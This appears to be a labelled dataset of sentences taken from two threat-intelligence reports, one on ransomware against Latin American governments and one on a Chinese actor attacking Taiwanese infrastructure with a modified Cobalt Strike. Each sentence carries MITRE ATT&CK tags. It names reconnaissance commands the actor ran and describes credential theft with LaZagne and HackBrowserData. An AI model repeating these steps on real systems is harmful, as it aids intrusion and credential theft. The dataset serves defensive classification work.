{"sentence": "MitigationsIt is crucial to maintain offline backups of your organizations data and ensure that these backups stay up to date to prevent data loss in the event of a ransomware infection.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Additionally, we recommend the following mitigations to reduce overall risk and impact:Ransomware often follows a specific pattern of behavior that can be detected with a robust threat intelligence system that is integrated with SIEM platforms.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "The IOCs provided throughout this report can be used to proactively query or scan environments for items such as file hashes, registry keys, and IP traffic associated with ransomware.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Implement intrusion detection / intrusion prevention (IDS/IPS) systems and endpoint detection and response (EDR) systems.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Provide robust anti-phishing training for employees and staff.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "If remote access solutions are crucial to daily operations, all remote access services and protocols such as Citrix and RDP should be implemented with two-factor or multi-factor authentication.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Exposed RDP servers are also abused by threat actors to gain initial access into a targets network.", "labels": ["T1190"], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Through the use of process monitoring, monitor for the execution and command of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Monitor for the creation of suspicious file modification activity, particularly large quantities of file modifications in user directories.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Consider keeping sensitive client information on systems that are disconnected from the internet or segmented from the rest of the corporate network.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Since ransomware will encrypt all files on a victim system and often will search for directories on the network (such as networked file shares) to also encrypt, moving highly sensitive customer data to a system with no internet access or access to the rest of the network will minimize ransomwares access to those files.", "labels": ["T1083"], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "OutlookRansomware will likely continue to be incorporated into the attack methods of threat actors targeting public and private entities in LATAM due to their availability as ransomware-as-a-service (for non-technical threat actors) and highly successful infection rates.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Compromised accounts and networks are highly sought after by threat actors and will remain in high demand because they can be used in a number of attack vectors, including but not limited to account takeovers, identity theft, social engineering, credential stuffing, and brute forcing.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "As LATAM is an up-and-coming region whose security posture is not as sophisticated or developed as some other regions for various reasons (geopolitical circumstances and developing infrastructure, among others), threat actors may view LATAM entities as easy targets for harvesting sensitive and financially lucrative accounts via infostealer infections.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "As incident response teams in the region build up their security posture, threat actors are likely to continue to enhance and create infostealer variants to target organizations in LATAM with the intent of harvesting personal and corporate account login details and other important data.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Executive Summary EclecticIQ researchers identified a malicious web server very likely operated by a Chinese threat actor used to target Taiwanese government entities, including critical infrastructure.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The command-and-control infrastructure was publicly exposed to the internet.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Based on log and meta data found on the server, EclecticIQ analysts assess with high confidence the threat actor performed offensive cyber operations, including reconnaissance, malware delivery, and post-exploitation against selected targets.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "EclecticIQ analysts identified a modified version of Cobalt Strike known as \"Cobalt Strike Cat\"[1].", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Researchers analyzed these logs and created a detailed map of the adversary's tactics, techniques, and procedures (TTPs).The threat actor primarily focused on exploiting four different remote code execution (RCE) vulnerabilities to target web services and heavily relied on open-source tools, some of which are exclusively available in Chinese underground forums.", "labels": ["T1210"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The threat actor also engaged in brute-forcing against the victim's internal web services.", "labels": ["T1110"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Exposed Threat Actor Infrastructure Reveals", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Offensive Tooling EclecticIQ analysts discovered a web server with the IP address 156[.]251[.]172[.]194, which was accessible to the public.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The server contained HTTP header data (SimpleHTTP/0.6 Python/3.8.10), indicating the use of a Python library called SIMPLEHTTPSERVER to serve the files and folders detailed in Figure 1. Figure 1 – Screenshot of exposed threat actor infrastructure showing available tools and target lists..", "labels": ["T1071.001"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Most of the tools are open source.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Based on the event logs within a modified version of Cobalt Strike, analysts have determined with high confidence that Mandarin was set as the default language.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The identified tools include: Afrog: Vulnerability Scanning for Penetration Testing [2] CIPR:", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Converting domain name to IP address [3] Neo-reGeorg: Reverse proxy tool [4] Nuclei: Vulnerability scanner", "labels": ["T1090"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[5] OneForAl: Subdomain collection tool [6] Fscan: Reconnaissance tool", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[11] ONE-FOX: Collection of Penetration Tools", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Reconnaissance of Exposed Webservices The threat actor utilized reconnaissance tools to scan and fingerprint systems exposed to the internet.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "This list served as input for OneForAll - a subdomain enumeration tool.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Figure 4 shows final report logs from Afrog and Nuclei found on the attacker infrastructure.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The threat actor utilized virtual sandboxes named \"Test\" to demonstrate cyber-attacks before executing them on a real victim device.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The IP addresses observed in these virtual sandboxes are tied to the same computer name, identified as DESKTOP-0TBCAC4.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The adversary also demonstrated an interest in exploring the public-facing network surface of public transport and utilities industries.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Initial Compromise Through Exploiting Publicly Facing Applications", "labels": ["T1190"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The threat actor utilized automated vulnerability discovery and reconnaissance techniques to scan a given target list, refine the selection and identify potential exploitable systems before commencing the attack.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Cobalt Strike Cat was initially shared on a Chinese-speaking cybersecurity forum called t00ls[.]com, with a link to a GitHub repository and was distributed inside an encrypted ZIP folder.", "labels": ["T1027"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Notably, t00ls[.]com is a private forum that can only be accessed by individuals who possess invitation codes for the site.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Figure 6 – “I want to become a master hacker”.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Publication of Cobalt Strike Cat on t00ls[.]com.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Figure 7 – Example user interface of Cobalt Strike Cat shared on a GitHub repository.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Patch for publicly available Cobalt Strike vulnerability tracked as CVE-2022-39197 [17].Figure 8 shows a small portion of Cobalt Strike Cat logs from the attacker´s infrastructure.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The attacker then changed the Cobalt Strike Cat beaconing frequency for behaviour-based evasion by sending the \"sleep 10\" command to the infected host and executed the \"tasklist /SVC\" command to list all running processes on the victim device.", "labels": ["T1057"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Figure 8 – Sample of Cobalt Strike Cat logs.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The result of the \"tasklist\" command shows that the victim was using a commercial software called SONAS", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[18].", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Analysts assess with high confidence that the compromised device was used to access CCTV cameras of the Directorate General of Highways in Taiwan.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Analysis showed that the victim IP address was publicly serving a web service that contained a phpMyAdmin database.", "labels": ["T1190"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The IP addresses and the computer name matched the victim device name in the Cobalt Strike Cat logs.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Figure 9 – PHPINFO page from victim web service.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Internal Reconnaissance to Identify Lateral Movement Opportunities EclecticIQ researchers observed multiple internal network reconnaissance attempts after initial compromise.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "These attempts are primarily performed with an open-source automated vulnerability scanning and brute forcing tool called FSCAN.", "labels": ["T1110"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Figure 10 showed that the threat actor used FSCAN (named as f.exe) to find possible vulnerabilities on internal network of infected device which can be used by threat actor to perform lateral movement: Figure 10 – Usage of FSCAN on a victim’s network.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The following commands were identified: Command Line Argument Description query user || qwinsta Display information about logged-on users and their sessions.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "net user Displays information about user accounts.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "findstr /s /i", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "\"DBPath\" *.* Used to search for the string \"DBPath\" in all files within the current directory and its subdirectories. arp –a Address resolutions for remote systems. netsh wlan show profiles Display a list of all the wireless network profiles.", "labels": ["T1083"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "dir %APPDATA%\\Microsoft\\Windows\\Recent List of recently opened files and folders on the computer.", "labels": ["T1083"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Figure 11 shows some examples of commands executed by the threat actor on an infected host: Figure 11 – Executed reconnaissance commands on infected host.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Escalate Privileges with Stolen Credentials The threat actor uses stolen passwords from valid accounts as the primary vector for privilege escalation.", "labels": ["T1078"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "EclecticIQ researchers observed LaZagne uploaded from the attacker device (“C:\\Users\\Test\\Desktop\\ONE-FOX集成工具箱_V1.0魔改版_by狐狸\\gui_other\\Cobalt_Strike_4.5\\plugin\\TaoWu\\script\\lazagne.exe”) to the victim device file path C:\\Windows\\Temp.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The actor leveraged ONE-FOX - a collection of pentest tools - to copy binaries from actor´s system to the victim. Figure 12 – Threat actor successfully obtained user account credentials in NTLM format.", "labels": ["T1570"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The threat actor utilized an open-source tool called HackBrowserData to export victim browser data, including passwords, history, cookies, bookmarks and download records from several web browsers.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Figure 13 – Execution of Hack-browser-data on infected host.", "labels": ["T1543.003"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Maintain Presence via Windows Service Installation To establish persistent remote access on the victim device, the threat actor abused Windows services to install modified version of Cobalt Strike payload.", "labels": ["T1543.003"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Windows services ran with the highest privilege, NT AUTHORITY\\SYSTEM and execute the malware automatically during system startup, allowing for remote access to the victim device with persistence.", "labels": ["T1543.003", "T1569.002"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "This service executes a malicious binary (Cobalt Strike Cat payload) under “C:\\Windows\\Temp\\svchost.exe” every time the victim device is started.", "labels": ["T1569.002"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "This allowed the attacker to conduct vulnerability scans, general reconnaissance, and brute-force attacks on systems attached to the internal network of the infected device.", "labels": ["T1090", "T1110"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "FRP received a command-line argument from attacker used to establish a connection from the adversary-controlled infrastructure (156[.]251[.]172[.]194) over port 2333.", "labels": ["T1059.003"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Figure 15 – Execution of FRP reverse SOCKS proxy on infected host.", "labels": ["T1090"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "After establishing the reverse SOCKS proxy connection, the threat actor performed internal reconnaissance and brute forcing attempts on some of the internal FTP servers inside victim network. Victimology and Targeting Patterns EclecticIQ researchers assess with moderate confidence that the primary targets of the threat actor are Taiwanese government entities and organizations in the critical infrastructures sector.", "labels": ["T1090", "T1110"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[19].", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "After this initial comprise the threat actor performed reconnaissance and credential harvesting from infected host, very likely to perform lateral movement as an end goal.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Although the majority of activity was directed at Taiwanese government entities, researchers also observed other separate target lists containing IP addresses and domains associated to government websites from Egypt, Malaysia, Dominican Republic and the UAE also targeted recently by this threat actor.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The reconnaissance against Malaysian and Egyptian government entities was carried out using a generic Python script that contained an author comment section with the handle \"mwxiaojia.\"", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "However, there is no distinct evidence to conclusively attribute the cyber operations to an individual using that persona.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "File and folder names, file content and comments in threat actor tools were written in Mandarin.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "This time zone is used in all predominantly Chinese-speaking regions.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Every successful login attempt made by the attacker using the default Cobalt Strike username 'neo' to access the command-and-control server was logged, along with the attacker's IP address.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Some of tools used by the actor are exclusively available in Chinese underground forums.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The identified adversary TTPs overlap with a previously known Chinese APT group called Budworm [20].", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Figure 18 – Event logs from Cobalt Strike Cat showing details about the testing sandbox used by the threat actor.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Mitigation and Prevention Strategies One of the main initial access vector is exploitation of publicly exposed web services.", "labels": ["T1190"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "EclecticIQ researchers recommend limiting the remote access of publicly available web services and consistently monitoring and installing available patches.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Reconnaissance attempts on publicly exposed web services can be detected and stopped using a combination of techniques, such as: • Log analysis:", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Monitoring and analyzing logs generated by the web server can help identify abnormal traffic patterns, such as repeated attempts to access a specific resource or an unusually high volume of requests from a single IP address.• Network traffic analysis: Network traffic analysis can help identify traffic that is not legitimate or is attempting to scan the network or web services.• Intrusion detection systems: Deploying an intrusion detection system (IDS) can help identify and alert administrators to malicious activities such as port scans or network sweeps.• Web application firewalls: Web application firewalls (WAF) can be used to protect web services from reconnaissance attempts by blocking or limiting access to resources and detecting and blocking known malicious patterns in web traffic.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The threat actor used a variation of Cobalt Strike as a command and control (C2) server to send malicious commands into infected computers.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Some tips to help prevent such C2 connection attempts: • Monitor network traffic:", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The threat actor installed a second stage persistence backdoor on infected device by abusing Windows Services.", "labels": ["T1543.003"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The actor then tried to dump User Account credentials via SAM database and attempted to access saved browser credentials.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "There are several ways to use Windows Group Policy to avoid these kinds of post exploitation attempts: •", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "By disabling this user right, you can prevent non-administrative users from creating services.• Restrict access to the Security Accounts Manager (SAM) file: The SAM file contains sensitive information, including user account passwords.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "By default, only the SYSTEM account has access to the SAM file.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "However, an attacker who gains administrative access to the system can potentially dump the SAM file and extract password hashes.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Restrict access to the SAM file, you can use the \"Deny access to this computer from the network\" user right.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "By denying network access to the system, you can prevent attackers from using network-based attacks to dump the SAM file.• Disable password saving in web browser using Group Policy.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "193[.]233[.]204[.]73•", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "103[.]156[.]184[.]89• 172[.]104[.]53[.]19• 103[.]156[.]184[.]83• 192[.]46[.]227[.]146• 140[.]99[.]149[.]35• 172[.]104[.]191[.]194Testing labs used by threat actor for planning the attack chain before executing on real victim device:• 172[.]105[.]117[.]179• 103[.]156[.]184[.]83Web service used to obtain bulk Proxy IP address from TigerCloud Club: • hxxp[://]38[.]54[.]50[.]246:10001 (https://gist.github.com/whichbuffer/250e36cd24357460fd2b1653091a3e9f)MD5 Hash:• d0139fda662f3ca949dd335c30573fa2 modify.exe •", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "996c3eb5c21a20dd13b7ceee6c80b673 f3p.exe • 825c126e8547fbb01ff21d2100343bd2 run.ini • 73255c8357afd671c2256360d0be69cd lazagne.exe • c72e18c26307bc50d4936c0f5f0df36b svchost.exe (modified Cobalt Strike)• b7b1d390baaf579925ec6a33b6beeec8 hack-browser-data.exe • 03f45692db10fe291de65f15ca9761af frpcx.exe • a284c8b14e4be0e2e561e5ff64e82dc7 fscan.exe • 0b9e8fca5dc4775964492d7d333da25d svchost.exe (modified Cobalt Strike) MITRE ATT&CK Exploit Public-Facing Application – T1190 Exfiltration Over C2 Channel - T1041 OS Credential Dumping: Security Account Manager - T1003.002 OS Credential Dumping: LSASS Memory - T1003.001", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Proxy: Internal Proxy - T1090.001 Brute Force - T1110 Active Scanning:", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Scanning IP Blocks - T1595.001 Credentials from Password Stores: Credentials from Web Browsers - T1555.003 Create or Modify System Process: Windows Service - T1543.003 Remote Services: Windows Remote Management - T1021.006 Active Scanning: Vulnerability Scanning - T1595.002 System Network Configuration Discovery - T1016 About EclecticIQ Intelligence & Research Team EclecticIQ is a global provider of threat intelligence, hunting, and response technology and services.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Headquartered in Amsterdam, the EclecticIQ Intelligence & Research Team is made up of experts from Europe and the U.S. with decades of experience in cyber security and intelligence in industry and government.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "We would love to hear from you.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "You might also be interested in: Russian Malware Network Dismantled; Iranian Threat Actors Attack PaperCut Servers Polish Healthcare Industry Targeted by Vidar Infostealer Likely Linked to Djvu Ransomware Introducing EclecticIQ Intelligence Center 3.0 References [1] “TryGOTry/CobaltStrike_Cat_4.5:", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "猫猫Cs:基于Cobalt Strike[4.5]二开 (原dogcs二开移植).”", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "https://github.com/TryGOTry/CobaltStrike_Cat_4.5 (accessed Apr. 25, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Apr. 28, 2023.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Available: https://github.com/zan8in/afrog (accessed: Apr. 28, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "https://github.com/canc3s/cIPR (accessed Apr. 28, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[4] “L-codes/Neo-reGeorg: Neo-reGeorg is a project that seeks to aggressively refactor reGeorg.”", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "https://github.com/L-codes/Neo-reGeorg/tree/master (accessed Apr. 28, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[6] J. Ling, “OneForAll.”", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Apr. 26, 2023.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Available: https://github.com/shmilylty/OneForAll (accessed: Apr. 26, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[7] 影舞者, “fscan.”", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[8] AlessandroZ, “The LaZagne Project !!!”", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[9] “SharpCheckInfo/README.md at master · uknowsec/SharpCheckInfo,” GitHub.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[10] ᴍᴏᴏɴD4ʀᴋ, “HackBrowserData.”", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Available: https://github.com/moonD4rk/HackBrowserData (accessed: Apr. 28, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Available: https://github.com/fatedier/frp (accessed: Apr. 28, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[12] 雨苁, “ONE-FOX渗透测试集成工具箱_V1.0魔改版 by狐狸,” :Japanese_symbol_for_beginner:雨苁ℒ:Japanese_symbol_for_beginner:, Aug. 22, 2022.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "https://www.ddosi.org/one-fox/ (accessed Apr. 28, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "https://nvd.nist.gov/vuln/detail/CVE-2023-21839 (accessed Apr. 28, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
